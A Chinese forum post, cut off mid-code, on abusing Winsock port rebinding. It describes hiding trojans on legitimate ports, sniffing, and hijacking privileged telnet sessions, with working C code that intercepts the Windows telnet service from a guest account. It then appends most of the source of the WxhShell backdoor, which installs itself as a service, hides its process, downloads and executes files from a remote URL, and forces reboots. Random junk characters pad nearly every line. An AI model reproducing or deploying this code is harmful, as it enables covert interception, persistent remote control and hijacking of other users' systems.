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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b 5F4+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q+N7:o!;<b  
AU\xNF3  
  saddr.sin_family = AF_INET; t*Vao  
{(M&-~Yh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Lz9$,Y[  
~Q_)>|R2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pe$^Mo.q  
L,L ~ .E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r;cI}'  
m6_~`)R8  
  这意味着什么?意味着可以进行如下的攻击: #}/cM2m  
QDjW!BsX3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q'%[[<  
.Yu<%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _Sly7_  
0+K`pS'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v7o?GQ75  
I 9{40_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A;fB6  
-YzQ2#K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l$k]O  
vLv|SqD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yN9$gfJC^  
<OR.q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `W"a! ,s2  
K2x6R  
  #include 0a2$P+p  
  #include ?qf:_G  
  #include }[>RxHd  
  #include    1P[I}GW#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VM-qVd-  
  int main() _=|nOj39  
  { _l24Ba$F6  
  WORD wVersionRequested; )|U_Z"0H^  
  DWORD ret; c y=I0  
  WSADATA wsaData; bU;}!iVc]  
  BOOL val; Mvy6"Q:  
  SOCKADDR_IN saddr; LN@E\wRw{r  
  SOCKADDR_IN scaddr; :"M9*XeHO  
  int err; -Q<z1vz  
  SOCKET s; t(J![wB}  
  SOCKET sc; OwG6i|q  
  int caddsize; +={  
  HANDLE mt; *F\T}k7  
  DWORD tid;   .mvB99P{<  
  wVersionRequested = MAKEWORD( 2, 2 ); x[vpoB+c  
  err = WSAStartup( wVersionRequested, &wsaData ); g(-;_j!=  
  if ( err != 0 ) { IvEMg2f}  
  printf("error!WSAStartup failed!\n"); 2YL`3cgfb  
  return -1; Q3'fz 9v  
  } 4*0:bhhhf_  
  saddr.sin_family = AF_INET; H!unIy|  
   vnz[w=U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TpJg-F  
Zg)_cRR   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); snXB`U C  
  saddr.sin_port = htons(23); 5z1\#" B[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~A8qeaP  
  { q%OcLZ<,  
  printf("error!socket failed!\n"); 4 t&gW  
  return -1; >EBZ$X  
  } 0n4g $JK7  
  val = TRUE; x`]Of r'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +<pVf%u5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nGq]$h  
  { B3y?.  
  printf("error!setsockopt failed!\n"); %*$5!;  
  return -1; {V}t'x`4c  
  } wVx,JL5Jr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =LlLE<X"%x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FWuw/b$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H"#)&a7  
i/NDWVFD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p Tcbq  
  { *-?Wcz  
  ret=GetLastError(); 3.Ji5~  
  printf("error!bind failed!\n"); Oq*n9V  
  return -1; 7#~4{rjg  
  } |w=Ec#)t4  
  listen(s,2); S-isL4D.Z  
  while(1) gzVtxDh  
  { S4L-/<s[*  
  caddsize = sizeof(scaddr); DW1@<X  
  //接受连接请求 <(fdHQD!7>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xl#Dw bx  
  if(sc!=INVALID_SOCKET) Wu4ot0SZ  
  { ,%A)"doaG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bRWIDPh  
  if(mt==NULL) t(}/g  
  { A[RHw<  
  printf("Thread Creat Failed!\n"); X6Un;UL  
  break; p`d XqW  
  } ^:m^E0(H  
  } p={Jf}v  
  CloseHandle(mt); 'z)hG#{I  
  } LyGUvi  
  closesocket(s); yC W*fIaq  
  WSACleanup(); ITVQLQ  
  return 0; z(+&wa  
  }   T_eJ}(p  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ks#A<! ;=  
  { zm3-C%:Bw  
  SOCKET ss = (SOCKET)lpParam; /$;,F't#2M  
  SOCKET sc; w"{bp  
  unsigned char buf[4096]; & B}Lo  
  SOCKADDR_IN saddr; >L^xlm%7o  
  long num; Yg/}ghF\  
  DWORD val; q7|:^#{av  
  DWORD ret; J5;5-:N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xZX`%f-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W$r^  
  saddr.sin_family = AF_INET; 88 {1mA,v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fO6[!M(  
  saddr.sin_port = htons(23); Nu@5 kwH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G%S6$@:  
  { >W r$Y{  
  printf("error!socket failed!\n"); J7:9_/ e0T  
  return -1; 0mTEim  
  } jO=*:{#x  
  val = 100; F$i$a b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R<|ejw  
  { R\*)@[y9l  
  ret = GetLastError(); s2^B(wP  
  return -1; f27)v(EJ  
  } k=?^){[We  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !x7o|l|cP  
  { \]I  
  ret = GetLastError(); T '.[F  
  return -1; rIVvO  
  } )Ob]T{GY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3E,DipHg  
  { FqwIJ|ct  
  printf("error!socket connect failed!\n"); \QGa 4_#  
  closesocket(sc); wFvT0  
  closesocket(ss); C,"=}z1P  
  return -1; bG(x:Py&  
  } |H W( vA  
  while(1) @T ysXx  
  { )\>r-g$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b0 &  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +Qs!Nhsq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TiyUr [  
  num = recv(ss,buf,4096,0); =p q:m  
  if(num>0) DVh)w}v  
  send(sc,buf,num,0); MWs~#ReZ  
  else if(num==0) hk_g2g  
  break; oSY7IIf%L  
  num = recv(sc,buf,4096,0); F}'wH-qp  
  if(num>0) X'x3esw w  
  send(ss,buf,num,0); v5T`K=qC  
  else if(num==0) \,R!S/R#  
  break; %G[/H.7s-  
  } F;P5D<  
  closesocket(ss); - IU4#s  
  closesocket(sc); o\4CoeG  
  return 0 ; BxdX WO  
  } ?ok)>P  
w>[T&0-N  
> H BJk:  
========================================================== n(>C'<otj  
&RW`W)0;  
下边附上一个代码,,WXhSHELL j0x5@1`6G  
r+S;B[Vd  
========================================================== @}DFp`~5|  
>F[GVmC  
#include "stdafx.h" KQ{Lt?S  
< bFy(+  
#include <stdio.h> uE`r/=4  
#include <string.h> {q,?<zBzu  
#include <windows.h> b9uBdo@o  
#include <winsock2.h> vd (?$  
#include <winsvc.h> [jrqzB  
#include <urlmon.h> 1k[GuG%/K  
6{=_718l`  
#pragma comment (lib, "Ws2_32.lib") Z5B/|{  
#pragma comment (lib, "urlmon.lib") MDHb'<o?y  
Y5Z!og  
#define MAX_USER   100 // 最大客户端连接数 z)}!e,7  
#define BUF_SOCK   200 // sock buffer 9i=B  
#define KEY_BUFF   255 // 输入 buffer <6jFKA<  
CZ(`|;BC*  
#define REBOOT     0   // 重启 k!3 cq)  
#define SHUTDOWN   1   // 关机 AbfZ++aJ  
NYB "jKMk  
#define DEF_PORT   5000 // 监听端口 : @6mFTV  
,h&a9:+i  
#define REG_LEN     16   // 注册表键长度 f*m[|0qI<X  
#define SVC_LEN     80   // NT服务名长度 E'EcP4eL  
Wp[9beI*M  
// 从dll定义API ar$*a>'?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ym"m,,7?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zkexei4^<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .'T40=7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ag 8`O&+  
{eQWO.C{  
// wxhshell配置信息 GeV+/^u  
struct WSCFG { `/4:I  
  int ws_port;         // 监听端口 uel{`T[S  
  char ws_passstr[REG_LEN]; // 口令 YQd:M%$  
  int ws_autoins;       // 安装标记, 1=yes 0=no wL3,g2-L  
  char ws_regname[REG_LEN]; // 注册表键名 CU$#0f>  
  char ws_svcname[REG_LEN]; // 服务名 bd== +   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >c~RI7uu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~3CVxbB^<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IQnIaZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z9DcnAs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x2W#ROfg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cWa)#:JOV  
U>F{?PReA?  
}; Y#HI;Y^RP  
Sh&PNJ-*  
// default Wxhshell configuration aG{$Ic  
struct WSCFG wscfg={DEF_PORT, 3FNT|QF  
    "xuhuanlingzhe", |=K_F3aJ  
    1, #;Tz[0  
    "Wxhshell", )`+YCCa6F  
    "Wxhshell", |"]PCb)!  
            "WxhShell Service", I=Ij dwbH  
    "Wrsky Windows CmdShell Service", wK!~tYxP  
    "Please Input Your Password: ", h|)vv4-d|  
  1, +Xy*?5E;C  
  "http://www.wrsky.com/wxhshell.exe", 2SG$LIV 9Y  
  "Wxhshell.exe" J7+w4q~cB`  
    }; BKIjNV3  
|+}G|hx@9  
// 消息定义模块 lzhqcL"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vmX"+sHz$]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hd &{d+B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C6  "  
char *msg_ws_ext="\n\rExit."; ,6,]#R :J  
char *msg_ws_end="\n\rQuit."; m3.sVI0I  
char *msg_ws_boot="\n\rReboot..."; Q(Gl{#b  
char *msg_ws_poff="\n\rShutdown..."; )L5i&UK.  
char *msg_ws_down="\n\rSave to "; X.FGBR7=q  
)rm4cW_  
char *msg_ws_err="\n\rErr!"; Or0O/\D)  
char *msg_ws_ok="\n\rOK!"; M.[rLJZ4  
EWj gI_-  
char ExeFile[MAX_PATH]; rwf^,r"r  
int nUser = 0; 6b=q-0yj  
HANDLE handles[MAX_USER]; eu#'SXSC F  
int OsIsNt; _Z Y\,_  
UE"GJt`I  
SERVICE_STATUS       serviceStatus; |E)aT#$f'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \Qy$I-Du  
",Cr,;]  
// 函数声明 -{jdn%Y7CK  
int Install(void); 1AD]v<M  
int Uninstall(void); Jxl6a:  
int DownloadFile(char *sURL, SOCKET wsh); 7cTk@Gq  
int Boot(int flag); R 9 4^4I  
void HideProc(void); I)SG wt-  
int GetOsVer(void); z(13~38+  
int Wxhshell(SOCKET wsl); wvby?MhPY  
void TalkWithClient(void *cs); z rfUQO  
int CmdShell(SOCKET sock); 6'-As= iw  
int StartFromService(void); +.yT/y"  
int StartWxhshell(LPSTR lpCmdLine); =E*Gb[r_7  
Y.6SOu5$]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~AB*]Us  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \jU |(DE  
O XP\R  
// 数据结构和表定义 >3.X?  
SERVICE_TABLE_ENTRY DispatchTable[] = tJ0NPI56yP  
{ r 2:2,5_  
{wscfg.ws_svcname, NTServiceMain}, +^|iZbZKx  
{NULL, NULL} gl%`qf6:O  
}; B&?sF" Y  
&[[K"aM1  
// 自我安装 N.do "  
int Install(void) EnVuD 9  
{ pY"O9x  
  char svExeFile[MAX_PATH]; `'S0*kMT  
  HKEY key; EcL-V>U# M  
  strcpy(svExeFile,ExeFile); ]d}0l6  
9pKGr@&   
// 如果是win9x系统,修改注册表设为自启动 jeUUa-zR3  
if(!OsIsNt) { Wr?'$:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7:E!b=o#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K%5"u'  
  RegCloseKey(key); e^1uVN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  |a^U]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '@nbqM  
  RegCloseKey(key); f58?5(Dc|  
  return 0; 2{|$T2?e  
    } {Qu"%h.Al  
  } 2}U!:bn(  
} KzU lTl0  
else { muON> ^MbC  
<@v ]H@ E  
// 如果是NT以上系统,安装为系统服务 f. }c7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C#0Qd%  
if (schSCManager!=0) Ah69 _>N`S  
{ xg@NQI@7   
  SC_HANDLE schService = CreateService ),}AI/j;zY  
  ( rVnd0K  
  schSCManager, "2ru7Y"  
  wscfg.ws_svcname, $.%rAa_H  
  wscfg.ws_svcdisp, pc]J[ S?P  
  SERVICE_ALL_ACCESS,  XRN+`J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iUk-'   
  SERVICE_AUTO_START, _i0kc,*C\  
  SERVICE_ERROR_NORMAL, _l`e#XbG  
  svExeFile, 6A R2htN^  
  NULL, q!~ -(&S  
  NULL, =@x`?oev  
  NULL, &DG->$&|  
  NULL, FDzqL;I  
  NULL O*6n$dUj3  
  ); 1 T<+d5[C  
  if (schService!=0) I{'f|+1  
  { `_ %S  
  CloseServiceHandle(schService); aW_oD[l  
  CloseServiceHandle(schSCManager); PUJ2`iP1^3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hB;VCg8  
  strcat(svExeFile,wscfg.ws_svcname); |KI UgI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4bVO9aUG{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <6TT)t<h  
  RegCloseKey(key); 2-*V=El  
  return 0; q/9H..6  
    } T=f|,sK +7  
  } CG\tQbum  
  CloseServiceHandle(schSCManager); CK+d!Eg  
} y m,H@~  
} 9LnN$e  
X!hIwiA,t  
return 1; E(pF:po  
} {PU!=IkTS  
'wasZ b<^  
// 自我卸载 UB`ToE|Ii  
int Uninstall(void) m><w0k?t  
{ N7r_77%m0  
  HKEY key; `$LWmm#  
6DIZ@oi  
if(!OsIsNt) { g6t"mkMY L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /&#XhrT  
  RegDeleteValue(key,wscfg.ws_regname); lA(Q@yEW  
  RegCloseKey(key); /'2O.d0}.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) /vhclkb  
  RegDeleteValue(key,wscfg.ws_regname); 8F(h*e_?  
  RegCloseKey(key); C;+(Zp  
  return 0; @Hb'8F  
  } ^)!F9h+  
} \`<cH#  
} .{KjEg 6  
else { `?g`bN`Vn  
bu7'oB~:V^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2aZw[7s  
if (schSCManager!=0) %_-zWVJ  
{ 9h90huyKF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #m{{a]zm^  
  if (schService!=0) 8M*PML4r  
  { rPNb\Ri  
  if(DeleteService(schService)!=0) { 63|+2-E2Q  
  CloseServiceHandle(schService); BcjP+$k4_  
  CloseServiceHandle(schSCManager); ^mWybPqx  
  return 0; 8b.u'r174  
  } W W2Ob*  
  CloseServiceHandle(schService); <:FP4e "(  
  } u=F+(NE"  
  CloseServiceHandle(schSCManager);  9fnA  
} YYEJph@06q  
} %=AxJp!a  
zJDSbsc$%  
return 1; N/$`:8"  
} _-!sBK+F  
eivtH P  
// 从指定url下载文件 V-I(WzR9y  
int DownloadFile(char *sURL, SOCKET wsh) XfE?C:v   
{ 1be %G [*  
  HRESULT hr; 1axQ)},o@p  
char seps[]= "/"; )0vU k  
char *token; _\PNr.D 8  
char *file; o}Odw;  
char myURL[MAX_PATH]; -4w=s|#.\  
char myFILE[MAX_PATH]; PjT=$]  
02`$OTKz  
strcpy(myURL,sURL); .#u_#=g?  
  token=strtok(myURL,seps); )Au6Nf  
  while(token!=NULL) "vCM}F  
  { GuZ ( &G6*  
    file=token; 4H5pr  
  token=strtok(NULL,seps); jN-vY<?h]  
  } P7ph}mB  
aSuM2  
GetCurrentDirectory(MAX_PATH,myFILE); ,:fl?x.X  
strcat(myFILE, "\\"); zsU=sTsL  
strcat(myFILE, file); n%R;-?*v  
  send(wsh,myFILE,strlen(myFILE),0); g*)K/Z0pJ$  
send(wsh,"...",3,0); u~ ~R9.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M/?KV9Xk2  
  if(hr==S_OK) 9odJr]  
return 0; RCTQhTy=  
else v%k9M{  
return 1; N"/-0(9[  
8zLY6@  
} Cz4)Yz  
`b8v1Os^2  
// 系统电源模块 +')f6P;t>=  
int Boot(int flag) =cN&A_L(  
{ Y={&5Mir  
  HANDLE hToken; RjF'x  
  TOKEN_PRIVILEGES tkp; QIN."&qC^  
ri`R<l8  
  if(OsIsNt) { $@d9<83=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HkV1sT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IX: 25CEI2  
    tkp.PrivilegeCount = 1; 2)#K+O3c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8Y0"Cejq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }pk#!N  
if(flag==REBOOT) { yc2/~a_ Gx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RsU3Gi_Zdz  
  return 0; kt[:@Nda9  
} wxm:7$4C  
else { tx"sH]n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B QcE9~H  
  return 0; n .!Ym X4  
} V._6=ZJ  
  } =NbI%  
  else { a9n^WOJ6  
if(flag==REBOOT) { qQpnLV4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (>mI'!4d  
  return 0; O\K_q7iO6  
} ;!o]wHmA  
else { *5zrZ]^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e *(b  
  return 0; \;VhYvEH  
} ve ~05mg  
} KZ!3j_pKy  
nd;fy$<J\  
return 1; d!KsNkk  
} 1Z[/KJ  
| K?#$~  
// win9x进程隐藏模块 ;})5:\h  
void HideProc(void) bifS 2>c  
{ ]M)O YY  
1 )}=bhT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^8 ' sib  
  if ( hKernel != NULL ) J--m[X  
  { ZcuA6#3B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \MxoZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QKN<+,h!z>  
    FreeLibrary(hKernel); DC1'Kyk  
  } ?[*0+h`en  
9Rek4<5  
return; iX'rU@C  
} Lokl2o `  
t+,4Ya|Xj  
// 获取操作系统版本 /8VP[i)u  
int GetOsVer(void) g8!wb{8?s  
{ )s1Ib4C  
  OSVERSIONINFO winfo; K:' q>D@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }M1sksk5  
  GetVersionEx(&winfo); ZEYgK)^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |F.)zC5{  
  return 1; 7?B.0>$3>V  
  else o!:8nXw  
  return 0; b 1&i#I?{  
} K^_i%~  
9]t[J_YM  
// 客户端句柄模块 BmHwu{n'  
int Wxhshell(SOCKET wsl) tO_H!kP  
{ "Jjs"7  
  SOCKET wsh; zEZLKWm9-  
  struct sockaddr_in client; 0!z@2[Pe66  
  DWORD myID; 0Ok,oW {  
Qb8KPpd  
  while(nUser<MAX_USER) ZVeaTK4_ t  
{ 6#j$GH *  
  int nSize=sizeof(client); $3Z-)m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7PR#(ftz  
  if(wsh==INVALID_SOCKET) return 1; B?$ "\;&  
m/NdJMoN=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JQ :Ri  
if(handles[nUser]==0) E;21?`x5  
  closesocket(wsh); ^m_yf|D$  
else %4 \OPw&  
  nUser++; 9WJz~SP+vR  
  } E~<`/s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ++L?+^h  
c!8=lrT.  
  return 0; 3~e8bcb  
} .To;"D;j,  
H3{GmV8  
// 关闭 socket l!#m&'16"  
void CloseIt(SOCKET wsh) ~2EHOO{  
{ e!fqXVEVR  
closesocket(wsh); 65ly2gl  
nUser--; fC}R4f7C  
ExitThread(0); L6>pGx  
} ,G#.BLH cX  
PA6=wfc  
// 客户端请求句柄 mAk{"65V  
void TalkWithClient(void *cs) .qk]$LJF7  
{ eMRar<)+#*  
`.y}dh/+0W  
  SOCKET wsh=(SOCKET)cs; d--y  
  char pwd[SVC_LEN]; x.1-)\  
  char cmd[KEY_BUFF]; !ZDzEP*  
char chr[1]; ]pEV}@7  
int i,j; ^\B :R,  
Kb =@ =Xta  
  while (nUser < MAX_USER) { Z ,^9 Z  
^I KO2Ft  
if(wscfg.ws_passstr) { {brMqE>P#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &'l>rD^o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -T6(hT\  
  //ZeroMemory(pwd,KEY_BUFF); CIjZG?A  
      i=0; 'WHHc 9rG,  
  while(i<SVC_LEN) { )} DUMq7  
pf4 ^Bk}e  
  // 设置超时 oJKa"H-jL  
  fd_set FdRead; "m{,~'x  
  struct timeval TimeOut; 7VK}Dy/Vvn  
  FD_ZERO(&FdRead); .oEmU+  
  FD_SET(wsh,&FdRead); X0{/ydG F8  
  TimeOut.tv_sec=8; k`".  
  TimeOut.tv_usec=0; :V)lbn\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B12$I:x`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C0=9K@FCb  
y}C`&nW[=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J/7R\;q`~o  
  pwd=chr[0]; ?=GXqbS"  
  if(chr[0]==0xd || chr[0]==0xa) { 8+m H:O  
  pwd=0; ;X,1&#I  
  break; m8623D B"  
  } QZ `tNq :/  
  i++; 3Rm#-T s  
    } d2X[(3  
[<`SfE  
  // 如果是非法用户,关闭 socket |%~+2m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U $Qv>7  
} Hn,:`mj4-6  
K.gEj*@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *%Qn{x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2!N8rHRt  
J==SZ v  
while(1) { UR(-q  
W~_t~Vg5  
  ZeroMemory(cmd,KEY_BUFF); }0,>2TTDN  
dk8wIa"K`  
      // 自动支持客户端 telnet标准   %hlspI(J  
  j=0; P#v*TD'  
  while(j<KEY_BUFF) { SPj><5Ro  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {;2i.m1  
  cmd[j]=chr[0]; $- +/$!  
  if(chr[0]==0xa || chr[0]==0xd) { ~-a'v!  
  cmd[j]=0; wPbkUVO  
  break; x*oWa,  
  } &iN--~}!$  
  j++; 79zJ\B_  
    } .@iFa3  
\qi|Js*{  
  // 下载文件 R E1 /"[t  
  if(strstr(cmd,"http://")) { 9iN.3/T8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HG/p$L*  
  if(DownloadFile(cmd,wsh)) =TR,~8Z|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gf8s?l  
  else -{h   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WS& kx~oQ  
  } TJ?g%  
  else { =Nz0.:  
!gwjN_ZJ^  
    switch(cmd[0]) { 7dihVvL $  
  Dc~,D1xWj  
  // 帮助 66snC{g U  
  case '?': { \EoX8b}$b0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z?MoJ{.!?R  
    break; x0a.!  
  } df+t:a  
  // 安装 P`U<7xF~  
  case 'i': { NV4g~+n  
    if(Install()) PIcrA2ll  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2EQ 6J  
    else "s W-_j]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3`9{T>  
    break; wHz?#MW 3L  
    } /EwGW  
  // 卸载 {>0V[c[~  
  case 'r': { "Clz'J]{  
    if(Uninstall()) 8 l/[(] &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dj-s5pAW  
    else [%HIbw J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,]R8(bD)  
    break; 3E} An%  
    } 8:ggECD  
  // 显示 wxhshell 所在路径 us?&:L|!=  
  case 'p': { QzGV.Mt2  
    char svExeFile[MAX_PATH]; JM0I(%Z%  
    strcpy(svExeFile,"\n\r"); v}Wmd4Y'  
      strcat(svExeFile,ExeFile); Bz8 &R|~>"  
        send(wsh,svExeFile,strlen(svExeFile),0); eX&Gw{U-f  
    break; l#3($QV,  
    } s(ROgCO  
  // 重启 ETv9k g  
  case 'b': { oFg5aey4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8U~.\`H-PT  
    if(Boot(REBOOT)) yI:# |w|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q/_[--0&#  
    else { dAx96Og:X"  
    closesocket(wsh); ]pTvMom$6  
    ExitThread(0); Z+s%;f;  
    } @-.? B  
    break; Z\X'd_1!  
    } qZ2&Xw.{1  
  // 关机 ScnY3&rc  
  case 'd': { toa-Wa{  
